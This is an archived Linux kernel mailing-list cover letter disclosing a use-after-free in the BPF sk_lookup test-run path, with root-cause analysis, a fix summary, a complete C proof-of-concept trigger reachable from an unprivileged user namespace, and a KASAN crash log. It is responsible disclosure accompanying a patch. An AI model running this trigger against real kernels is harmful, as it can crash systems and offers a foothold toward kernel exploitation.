From: Ren Wei <weir@nebusec.ai>
To: bpf@vger.kernel.org, netdev@vger.kernel.org
Cc: ast@kernel.org, daniel@iogearbox.net, andrii@kernel.org,
eddyz87@gmail.com, memxor@gmail.com, martin.lau@linux.dev,
song@kernel.org, yonghong.song@linux.dev, jolsa@kernel.org,
emil@etsalapatis.com, davem@davemloft.net, edumazet@google.com,
kuba@kernel.org, pabeni@redhat.com, horms@kernel.org,
lmb@cloudflare.com, vega@nebusec.ai, rakukuip@gmail.com,
weir@nebusec.ai
Subject: [PATCH 0/1]bpf: Fix use-after-free in bpf_prog_test_run_sk_lookup
Date: Sat, 29 Aug 2026 23:35:14 +0800 [thread overview]
Message-ID: <cover.1787897193.git.rakukuip@gmail.com> (raw)
From: Luxiao Xu <rakukuip@gmail.com>
Hi Linux kernel maintainers,
We found and validated an issue in net/bpf/test_run.c. The bug is reachable by
an unprivileged user with user/net namespace capabilities (or where unprivileged
BPF is enabled).
We've tested the fix, and it does not break any existing test-run functionality.
We will provide detailed information about the bug below, along with the root
cause and the proposed fix (and a PoC).
---- details below ----
Bug details:
In `bpf_prog_test_run_sk_lookup()`, `bpf_test_timer_leave()` is invoked
immediately after the repeat loop finishes, which drops the RCU read-side lock
via `rcu_read_unlock()`. Subsequently, the kernel dereferences `ctx.selected_sk`
(checking `ctx.selected_sk->sk_reuseport` and calling `sock_gen_cookie(ctx.selected_sk)`)
outside of the RCU read-side critical section.
`bpf_sk_lookup_assign()` explicitly allows selecting non-refcounted sockets
whose lifecycles are protected solely by RCU grace periods. While the program
execution itself runs under RCU protection (established by `bpf_test_timer_enter()`),
dropping the RCU lock before dereferencing `ctx.selected_sk` opens an unprotected
window.
Consequently, if the selected socket is closed concurrently and reclaimed by
RCU callbacks (e.g., `call_rcu` -> `__sk_destruct` -> `kmem_cache_free`) after
the timer loop finishes, accessing `ctx.selected_sk` triggers a slab-use-after-free
(UAF).
Proposed Fix:
We fix this by deferring the `bpf_test_timer_leave()` invocation until after
`ctx.selected_sk` has been checked and its cookie is generated. This keeps
`ctx.selected_sk` continuously protected by the RCU read lock from the final
iteration, while preserving the cooperative scheduling (`cond_resched()`) and
grace period progress inside `bpf_test_timer_continue()`.
Reproducer:
gcc -O2 -static -o poc poc.c
unshare -Urn ./poc
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.c------
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <errno.h>
#include <linux/bpf.h>
#include <linux/unistd.h>
#include <pthread.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sched.h>
#include <sys/socket.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>
#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
#define LOG_BUF_SIZE (1U << 20)
#define LOOP_ITERS 120000
#define HOG_THREAD_COUNT 4
#ifndef BPF_PSEUDO_MAP_FD
#define BPF_PSEUDO_MAP_FD 1
#endif
#define BPF_RAW_INSN(CODE, DST, SRC, OFF, IMM) \
((struct bpf_insn){ .code = CODE, .dst_reg = DST, .src_reg = SRC, .off = OFF, .imm = IMM })
#define BPF_LD_IMM64_RAW(DST, SRC, IMM) \
BPF_RAW_INSN(BPF_LD | BPF_DW | BPF_IMM, DST, SRC, 0, (__u32)(IMM)), \
BPF_RAW_INSN(0, 0, 0, 0, ((__u64)(IMM)) >> 32)
#define BPF_LD_MAP_FD(DST, MAP_FD) BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
#define BPF_MOV64_IMM(DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_K, DST, 0, 0, IMM)
#define BPF_MOV64_REG(DST, SRC) BPF_RAW_INSN(BPF_ALU64 | BPF_MOV | BPF_X, DST, SRC, 0, 0)
#define BPF_ALU64_IMM(OP, DST, IMM) BPF_RAW_INSN(BPF_ALU64 | BPF_OP(OP) | BPF_K, DST, 0, 0, IMM)
#define BPF_ST_MEM(SIZE, DST, OFF, IMM) BPF_RAW_INSN(BPF_ST | BPF_SIZE(SIZE) | BPF_MEM, DST, 0, OFF, IMM)
#define BPF_JMP_IMM(OP, DST, IMM, OFF) BPF_RAW_INSN(BPF_JMP | BPF_OP(OP) | BPF_K, DST, 0, OFF, IMM)
#define BPF_CALL_HELPER(FUNC) BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, FUNC)
#define BPF_EXIT_INSN() BPF_RAW_INSN(BPF_JMP | BPF_EXIT, 0, 0, 0, 0)
static int g_prog_fd = -1;
static int g_sock_map_fd = -1;
static int g_sync_map_fd = -1;
static int g_port = 31337;
static int g_hog_cpu = 0;
static volatile int g_stop_hogs = 0;
static void pin_current_thread_to_cpu(int cpu);
/* Match include/uapi/linux/bpf.h in this kernel tree. */
struct bpf_sk_lookup_ctx {
union {
uint64_t sk;
uint64_t cookie;
};
uint32_t family;
uint32_t protocol;
uint32_t remote_ip4;
uint32_t remote_ip6[4];
uint16_t remote_port;
uint16_t pad16;
uint32_t local_ip4;
uint32_t local_ip6[4];
uint32_t local_port;
uint32_t ingress_ifindex;
};
static int bpf_sys(enum bpf_cmd cmd, union bpf_attr *attr)
{
return syscall(__NR_bpf, cmd, attr, sizeof(*attr));
}
static int create_map(enum bpf_map_type type, uint32_t key_size, uint32_t value_size,
uint32_t max_entries)
{
union bpf_attr attr;
memset(&attr, 0, sizeof(attr));
attr.map_type = type;
attr.key_size = key_size;
attr.value_size = value_size;
attr.max_entries = max_entries;
return bpf_sys(BPF_MAP_CREATE, &attr);
}
static int map_update(int fd, const void *key, const void *value, uint64_t flags)
{
union bpf_attr attr;
memset(&attr, 0, sizeof(attr));
attr.map_fd = fd;
attr.key = (uintptr_t)key;
attr.value = (uintptr_t)value;
attr.flags = flags;
return bpf_sys(BPF_MAP_UPDATE_ELEM, &attr);
}
static int map_lookup(int fd, const void *key, void *value)
{
union bpf_attr attr;
memset(&attr, 0, sizeof(attr));
attr.map_fd = fd;
attr.key = (uintptr_t)key;
attr.value = (uintptr_t)value;
return bpf_sys(BPF_MAP_LOOKUP_ELEM, &attr);
}
static int map_delete(int fd, const void *key)
{
union bpf_attr attr;
memset(&attr, 0, sizeof(attr));
attr.map_fd = fd;
attr.key = (uintptr_t)key;
return bpf_sys(BPF_MAP_DELETE_ELEM, &attr);
}
static int load_prog(int sock_map_fd, int sync_map_fd)
{
char *log_buf;
int fd;
union bpf_attr attr;
struct bpf_insn insns[] = {
/* r6 = ctx */
BPF_MOV64_REG(BPF_REG_6, BPF_REG_1),
/* key = 0 */
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
/* sk = map_lookup(sock_map, &key) */
BPF_LD_MAP_FD(BPF_REG_1, 0),
BPF_CALL_HELPER(BPF_FUNC_map_lookup_elem),
/* if (!sk) goto pass */
BPF_JMP_IMM(BPF_JEQ, BPF_REG_0, 0, 33),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_0),
/* bpf_sk_assign(ctx, sk, 0) */
BPF_MOV64_REG(BPF_REG_1, BPF_REG_6),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_3, 0),
BPF_CALL_HELPER(BPF_FUNC_sk_assign),
/* bpf_sk_release(sk) */
BPF_MOV64_REG(BPF_REG_1, BPF_REG_7),
BPF_CALL_HELPER(BPF_FUNC_sk_release),
/* sync_map[0] = 1 */
BPF_ST_MEM(BPF_DW, BPF_REG_10, -16, 1),
BPF_ST_MEM(BPF_W, BPF_REG_10, -4, 0),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_3, -16),
BPF_LD_MAP_FD(BPF_REG_1, 0),
BPF_MOV64_IMM(BPF_REG_4, BPF_ANY),
BPF_CALL_HELPER(BPF_FUNC_map_update_elem),
/* set loop args: r9=sync_map, r8=&key, r7=&value, r6=counter */
BPF_LD_MAP_FD(BPF_REG_9, 0),
BPF_MOV64_REG(BPF_REG_8, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_8, -4),
BPF_MOV64_REG(BPF_REG_7, BPF_REG_10),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_7, -16),
BPF_MOV64_IMM(BPF_REG_6, 0),
/* loop: keep updating sync_map to stretch runtime */
BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),
BPF_MOV64_REG(BPF_REG_2, BPF_REG_8),
BPF_MOV64_REG(BPF_REG_3, BPF_REG_7),
BPF_MOV64_IMM(BPF_REG_4, BPF_ANY),
BPF_CALL_HELPER(BPF_FUNC_map_update_elem),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_6, 1),
BPF_JMP_IMM(BPF_JLT, BPF_REG_6, LOOP_ITERS, -7),
/* return SK_PASS */
BPF_MOV64_IMM(BPF_REG_0, SK_PASS),
BPF_EXIT_INSN(),
/* pass */
BPF_MOV64_IMM(BPF_REG_0, SK_PASS),
BPF_EXIT_INSN(),
};
/* Patch map fds in BPF_LD_MAP_FD instructions. */
insns[4].imm = sock_map_fd;
insns[21].imm = sync_map_fd;
insns[25].imm = sync_map_fd;
memset(&attr, 0, sizeof(attr));
attr.prog_type = BPF_PROG_TYPE_SK_LOOKUP;
attr.expected_attach_type = BPF_SK_LOOKUP;
attr.insn_cnt = ARRAY_SIZE(insns);
attr.insns = (uintptr_t)insns;
attr.license = (uintptr_t)"GPL";
fd = bpf_sys(BPF_PROG_LOAD, &attr);
if (fd >= 0)
return fd;
log_buf = calloc(1, LOG_BUF_SIZE);
if (!log_buf)
return -1;
attr.log_buf = (uintptr_t)log_buf;
attr.log_size = LOG_BUF_SIZE;
attr.log_level = 1;
fd = bpf_sys(BPF_PROG_LOAD, &attr);
fprintf(stderr, "BPF_PROG_LOAD failed: %s\nVerifier log:\n%s\n", strerror(errno), log_buf);
free(log_buf);
return fd;
}
static int make_listener(int port)
{
struct sockaddr_in addr;
int fd;
fd = socket(AF_INET, SOCK_DGRAM, 0);
if (fd < 0)
return -1;
memset(&addr, 0, sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
goto err;
return fd;
err:
close(fd);
return -1;
}
static int prog_test_run_once(void)
{
union bpf_attr attr;
struct bpf_sk_lookup_ctx ctx;
memset(&ctx, 0, sizeof(ctx));
ctx.family = AF_INET;
ctx.protocol = IPPROTO_UDP;
ctx.remote_ip4 = htonl(0x7f000002);
ctx.local_ip4 = htonl(0x7f000001);
ctx.remote_port = htons(23456);
ctx.local_port = g_port;
memset(&attr, 0, sizeof(attr));
attr.test.prog_fd = g_prog_fd;
attr.test.repeat = 1;
attr.test.ctx_in = (uintptr_t)&ctx;
attr.test.ctx_size_in = sizeof(ctx);
attr.test.ctx_out = (uintptr_t)&ctx;
attr.test.ctx_size_out = sizeof(ctx);
if (bpf_sys(BPF_PROG_TEST_RUN, &attr) < 0)
return -errno;
if (ctx.cookie == 0)
return -ENOENT;
return 0;
}
struct runner_result {
int err;
};
static void *runner_thread(void *arg)
{
struct runner_result *res = arg;
pin_current_thread_to_cpu(g_hog_cpu);
res->err = prog_test_run_once();
return NULL;
}
static int wait_for_signal(uint64_t expected, int timeout_ms)
{
struct timespec ts = { .tv_sec = 0, .tv_nsec = 1000 * 1000 };
uint32_t key = 0;
uint64_t value = 0;
int waited = 0;
while (waited < timeout_ms) {
if (map_lookup(g_sync_map_fd, &key, &value) == 0 && value == expected)
return 0;
nanosleep(&ts, NULL);
waited++;
}
return -ETIMEDOUT;
}
static void pin_current_thread_to_cpu(int cpu)
{
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(cpu, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset);
}
static void *hog_thread(void *arg)
{
(void)arg;
pin_current_thread_to_cpu(g_hog_cpu);
while (!g_stop_hogs)
asm volatile("" ::: "memory");
return NULL;
}
static void force_rcu_activity(void)
{
pid_t pid = fork();
if (pid == 0) {
unshare(CLONE_NEWNET);
_exit(0);
}
if (pid > 0)
waitpid(pid, NULL, 0);
}
int main(void)
{
uint32_t key = 0;
uint64_t zero = 0;
int attempt;
long ncpu;
pthread_t hog_threads[HOG_THREAD_COUNT];
int i;
memset(hog_threads, 0, sizeof(hog_threads));
ncpu = sysconf(_SC_NPROCESSORS_ONLN);
if (ncpu > 1)
pin_current_thread_to_cpu(1);
g_sock_map_fd = create_map(BPF_MAP_TYPE_SOCKHASH, sizeof(uint32_t), sizeof(uint32_t), 1);
if (g_sock_map_fd < 0) {
perror("create sockhash");
return 1;
}
g_sync_map_fd = create_map(BPF_MAP_TYPE_ARRAY, sizeof(uint32_t), sizeof(uint64_t), 1);
if (g_sync_map_fd < 0) {
perror("create sync map");
return 1;
}
g_prog_fd = load_prog(g_sock_map_fd, g_sync_map_fd);
if (g_prog_fd < 0)
return 1;
printf("Loaded sk_lookup prog fd=%d, sockhash fd=%d\n", g_prog_fd, g_sock_map_fd);
printf("Running attempts until KASAN crash...\n");
fflush(stdout);
if (ncpu > 1) {
for (i = 0; i < HOG_THREAD_COUNT; i++) {
if (pthread_create(&hog_threads[i], NULL, hog_thread, NULL) != 0) {
perror("pthread_create(hog)");
return 1;
}
}
}
for (attempt = 1; ; attempt++) {
pthread_t tid;
struct runner_result res = { .err = 0 };
int listener_fd;
int listener_fd_for_map;
listener_fd = make_listener(g_port);
if (listener_fd < 0) {
perror("make_listener");
return 1;
}
listener_fd_for_map = listener_fd;
if (map_update(g_sock_map_fd, &key, &listener_fd_for_map, BPF_ANY) < 0) {
perror("sockhash update");
close(listener_fd);
return 1;
}
if (map_update(g_sync_map_fd, &key, &zero, BPF_ANY) < 0) {
perror("sync reset");
close(listener_fd);
return 1;
}
if (pthread_create(&tid, NULL, runner_thread, &res) != 0) {
perror("pthread_create");
close(listener_fd);
return 1;
}
if (wait_for_signal(1, 3000) == 0) {
if (map_delete(g_sock_map_fd, &key) < 0 && errno != ENOENT)
perror("sockhash delete");
close(listener_fd);
listener_fd = -1;
force_rcu_activity();
} else {
fprintf(stderr, "attempt %d: did not observe sync signal\n", attempt);
}
pthread_join(tid, NULL);
if (res.err)
fprintf(stderr, "attempt %d: BPF_PROG_TEST_RUN error %d (%s)\n",
attempt, -res.err, strerror(-res.err));
if (listener_fd >= 0)
close(listener_fd);
if (map_delete(g_sock_map_fd, &key) < 0 && errno != ENOENT)
perror("sockhash delete");
if ((attempt % 100) == 0) {
printf("%d attempts\n", attempt);
fflush(stdout);
}
}
return 0;
}
------END poc.c--------
----BEGIN crash log----
[ 735.659588][T27286] =========================================================
[ 735.660413][T27286] BUG: KASAN: slab-use-after-free in bpf_prog_test_run_sk_0
[ 735.661415][T27286] Read of size 1 at addr ffff88817789c413 by task poc/27286
[ 735.662113][T27286]
[ 735.662489][T27286] CPU: 0 UID: 0 PID: 27286 Comm: poc Not tainted 7.0.0-rc6
[ 735.662498][T27286] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, a4
[ 735.662515][T27286] Call Trace:
[ 735.662526][T27286] <TASK>
[ 735.662530][T27286] dump_stack_lvl+0x10e/0x1f0
[ 735.662639][T27286] print_report+0xf7/0x600
[ 735.662697][T27286] ? preempt_count_sub+0x13/0xd0
[ 735.662747][T27286] ? __virt_addr_valid+0x1ab/0x330
[ 735.662792][T27286] ? __phys_addr+0x41/0x90
[ 735.662802][T27286] ? bpf_prog_test_run_sk_lookup+0x889/0xd40
[ 735.662812][T27286] kasan_report+0xe4/0x120
[ 735.662821][T27286] ? bpf_prog_test_run_sk_lookup+0x889/0xd40
[ 735.662850][T27286] bpf_prog_test_run_sk_lookup+0x889/0xd40
[ 735.662862][T27286] ? __pfx_bpf_prog_test_run_sk_lookup+0x10/0x10
[ 735.662872][T27286] ? rcu_is_watching+0x3d/0x80
[ 735.662903][T27286] ? __fget_files+0x1a1/0x2f0
[ 735.662928][T27286] ? preempt_count_sub+0x13/0xd0
[ 735.662935][T27286] ? fput+0x70/0xf0
[ 735.662947][T27286] ? __bpf_prog_get+0x7d/0x190
[ 735.662976][T27286] ? __pfx_bpf_prog_test_run_sk_lookup+0x10/0x10
[ 735.662985][T27286] __sys_bpf+0x935/0x3e20
[ 735.662999][T27286] ? __pfx___sys_bpf+0x10/0x10
[ 735.663008][T27286] ? rcu_is_watching+0x3d/0x80
[ 735.663016][T27286] ? trace_irq_enable.constprop.0+0xfd/0x120
[ 735.663042][T27286] ? sched_setaffinity+0x160/0x320
[ 735.663063][T27286] ? should_fail_ex+0x85/0x310
[ 735.663131][T27286] ? __x64_sys_bpf+0x70/0x90
[ 735.663137][T27286] __x64_sys_bpf+0x70/0x90
[ 735.663143][T27286] do_syscall_64+0x116/0x800
[ 735.663164][T27286] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 735.663182][T27286] RIP: 0033:0x42846d
[ 735.663201][T27286] Code: b3 66 2e 0f 1f 84 00 00 00 00 00 66 90 f3 0f 1e fa8
[ 735.663207][T27286] RSP: 002b:00007fbc887820f8 EFLAGS: 00000206 ORIG_RAX: 001
[ 735.663221][T27286] RAX: ffffffffffffffda RBX: 00007fbc88782cdc RCX: 0000000d
[ 735.663226][T27286] RDX: 0000000000000090 RSI: 00007fbc88782170 RDI: 0000000a
[ 735.663229][T27286] RBP: 00007fbc88782110 R08: 00007fbc887826c0 R09: 00007fb0
[ 735.663233][T27286] R10: 0000000000000000 R11: 0000000000000206 R12: 00007fb0
[ 735.663237][T27286] R13: ffffffffffffffb8 R14: 0000000000000002 R15: 00007ff0
[ 735.663244][T27286] </TASK>
[ 735.663246][T27286]
[ 735.684836][T27286] Allocated by task 9357:
[ 735.685233][T27286] kasan_save_stack+0x33/0x60
[ 735.685708][T27286] kasan_save_track+0x14/0x30
[ 735.686148][T27286] __kasan_slab_alloc+0x89/0x90
[ 735.686599][T27286] kmem_cache_alloc_noprof+0x23a/0x6d0
[ 735.687096][T27286] sk_prot_alloc+0x4a/0x1f0
[ 735.687580][T27286] sk_alloc+0x36/0xa60
[ 735.687941][T27286] inet_create+0x286/0xa50
[ 735.688371][T27286] __sock_create+0x2c8/0x6e0
[ 735.688813][T27286] __sys_socket+0x122/0x210
[ 735.689241][T27286] __x64_sys_socket+0x40/0x50
[ 735.689716][T27286] do_syscall_64+0x116/0x800
[ 735.690151][T27286] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 735.690713][T27286]
[ 735.690942][T27286] Freed by task 27287:
[ 735.691487][T27286] kasan_save_stack+0x33/0x60
[ 735.692032][T27286] kasan_save_track+0x14/0x30
[ 735.692484][T27286] kasan_save_free_info+0x3b/0x60
[ 735.692976][T27286] __kasan_slab_free+0x5f/0x80
[ 735.693400][T27286] kmem_cache_free+0x295/0x6e0
[ 735.693848][T27286] __sk_destruct+0x44a/0x710
[ 735.694297][T27286] rcu_core+0x454/0xb20
[ 735.694702][T27286] handle_softirqs+0x168/0x740
[ 735.695107][T27286] do_softirq+0xad/0xe0
[ 735.695456][T27286] __local_bh_enable_ip+0xd1/0xf0
[ 735.695966][T27286] rxrpc_bind+0x70/0x2f0
[ 735.696406][T27286] kernel_bind+0xd8/0x130
[ 735.696776][T27286] afs_open_socket+0x227/0x320
[ 735.697217][T27286] afs_net_init+0x501/0x5b0
[ 735.697647][T27286] ops_init+0x12c/0x3b0
[ 735.698045][T27286] setup_net+0xf7/0x290
[ 735.698429][T27286] copy_net_ns+0x3a4/0x5d0
[ 735.698828][T27286] create_new_namespaces+0x26e/0x5b0
[ 735.699270][T27286] unshare_nsproxy_namespaces+0xdc/0x180
[ 735.699735][T27286] ksys_unshare+0x3c2/0x8c0
[ 735.700124][T27286] __x64_sys_unshare+0x1f/0x30
[ 735.700514][T27286] do_syscall_64+0x116/0x800
[ 735.700894][T27286] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 735.701419][T27286]
[ 735.701644][T27286] Last potentially related work creation:
[ 735.702139][T27286] kasan_save_stack+0x33/0x60
[ 735.702576][T27286] kasan_record_aux_stack+0xa7/0xc0
[ 735.703053][T27286] __call_rcu_common.constprop.0+0x7c/0x600
[ 735.703573][T27286] sk_destruct+0x68/0xb0
[ 735.703924][T27286] __sk_free+0x89/0x230
[ 735.704315][T27286] sk_free+0x61/0x90
[ 735.704642][T27286] sk_psock_destroy+0x72d/0x7c0
[ 735.705071][T27286] process_one_work+0x62b/0xfb0
[ 735.705515][T27286] worker_thread+0x3fd/0x7e0
[ 735.705903][T27286] kthread+0x221/0x280
[ 735.706259][T27286] ret_from_fork+0x899/0x9b0
[ 735.706655][T27286] ret_from_fork_asm+0x1a/0x30
[ 735.707114][T27286]
[ 735.707373][T27286] The buggy address belongs to the object at ffff88817789c0
[ 735.707373][T27286] which belongs to the cache UDP of size 2048
[ 735.708447][T27286] The buggy address is located 19 bytes inside of
[ 735.708447][T27286] freed 2048-byte region [ffff88817789c400, ffff88817789c)
[ 735.709571][T27286]
[ 735.709776][T27286] The buggy address belongs to the physical page:
[ 735.710350][T27286] page: refcount:0 mapcount:0 mapping:0000000000000000 ind8
[ 735.711113][T27286] head: order:3 mapcount:0 entire_mapcount:0 nr_pages_mapp0
[ 735.711864][T27286] memcg:ffff88817789ff81
[ 735.712224][T27286] flags: 0x17ff00000000040(head|node=0|zone=2|lastcpupid=0)
[ 735.712867][T27286] page_type: f5(slab)
[ 735.713262][T27286] raw: 017ff00000000040 ffff8881096d13c0 dead000000000100 2
[ 735.713958][T27286] raw: 0000000000000000 00000008000f000f 00000000f5000000 1
[ 735.714643][T27286] head: 017ff00000000040 ffff8881096d13c0 dead0000000001002
[ 735.715437][T27286] head: 0000000000000000 00000008000f000f 00000000f50000001
[ 735.716185][T27286] head: 017ff00000000003 fffffffffffffe01 00000000fffffffff
[ 735.717107][T27286] head: ffffffffffffffff 0000000000000000 00000000ffffffff8
[ 735.717920][T27286] page dumped because: kasan: bad access detected
[ 735.718560][T27286] page_owner tracks the page as allocated
[ 735.719119][T27286] page last allocated via order 3, migratetype Unmovable, 0
[ 735.721094][T27286] post_alloc_hook+0xe6/0x100
[ 735.721596][T27286] get_page_from_freelist+0x55c/0x2210
[ 735.722126][T27286] __alloc_frozen_pages_noprof+0x221/0x1cb0
[ 735.722791][T27286] new_slab+0xa2/0x5f0
[ 735.723188][T27286] refill_objects+0xe3/0x430
[ 735.723638][T27286] __pcs_replace_empty_main+0x2ed/0x650
[ 735.724161][T27286] kmem_cache_alloc_noprof+0x559/0x6d0
[ 735.724686][T27286] sk_prot_alloc+0x4a/0x1f0
[ 735.725098][T27286] sk_alloc+0x36/0xa60
[ 735.725447][T27286] inet_create+0x286/0xa50
[ 735.725880][T27286] __sock_create+0x2c8/0x6e0
[ 735.726299][T27286] __sys_socket+0x122/0x210
[ 735.726776][T27286] __x64_sys_socket+0x40/0x50
[ 735.727254][T27286] do_syscall_64+0x116/0x800
[ 735.727737][T27286] entry_SYSCALL_64_after_hwframe+0x77/0x7f
[ 735.728313][T27286] page last free pid 5334 tgid 5334 stack trace:
[ 735.728940][T27286] register_dummy_stack+0x89/0xd0
[ 735.729443][T27286] init_page_owner+0x48/0x940
[ 735.730035][T27286] page_ext_init+0x53e/0x800
[ 735.730511][T27286] mm_core_init+0x142/0x220
[ 735.730966][T27286]
[ 735.731206][T27286] Memory state around the buggy address:
[ 735.731729][T27286] ffff88817789c300: 00 00 00 00 00 00 00 00 00 00 00 00 00
[ 735.732434][T27286] ffff88817789c380: fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 735.733208][T27286] >ffff88817789c400: fa fb fb fb fb fb fb fb fb fb fb fb fb
[ 735.733988][T27286] ^
[ 735.734439][T27286] ffff88817789c480: fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 735.735201][T27286] ffff88817789c500: fb fb fb fb fb fb fb fb fb fb fb fb fb
[ 735.735972][T27286] =========================================================
-----END crash log-----
Best regards,
Luxiao Xu
Ren Wei
Luxiao Xu (1):
bpf: Fix use-after-free in bpf_prog_test_run_sk_lookup()
net/bpf/test_run.c | 20 ++++++++++----------
1 file changed, 10 insertions(+), 10 deletions(-)
--
2.43.0
next reply other threads:[~2026-08-29 15:35 UTC|newest]
Thread overview: 2+ messages / expand[flat|nested] mbox.gz Atom feed top
2026-08-29 15:35 Ren Wei [this message]
2026-08-29 15:35 ` [PATCH 1/1] bpf: Fix use-after-free in bpf_prog_test_run_sk_lookup() Ren Wei
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=cover.1787897193.git.rakukuip@gmail.com \
--to=weir@nebusec.ai \
--cc=andrii@kernel.org \
--cc=ast@kernel.org \
--cc=bpf@vger.kernel.org \
--cc=daniel@iogearbox.net \
--cc=davem@davemloft.net \
--cc=eddyz87@gmail.com \
--cc=edumazet@google.com \
--cc=emil@etsalapatis.com \
--cc=horms@kernel.org \
--cc=jolsa@kernel.org \
--cc=kuba@kernel.org \
--cc=lmb@cloudflare.com \
--cc=martin.lau@linux.dev \
--cc=memxor@gmail.com \
--cc=netdev@vger.kernel.org \
--cc=pabeni@redhat.com \
--cc=rakukuip@gmail.com \
--cc=song@kernel.org \
--cc=vega@nebusec.ai \
--cc=yonghong.song@linux.dev \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line
before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox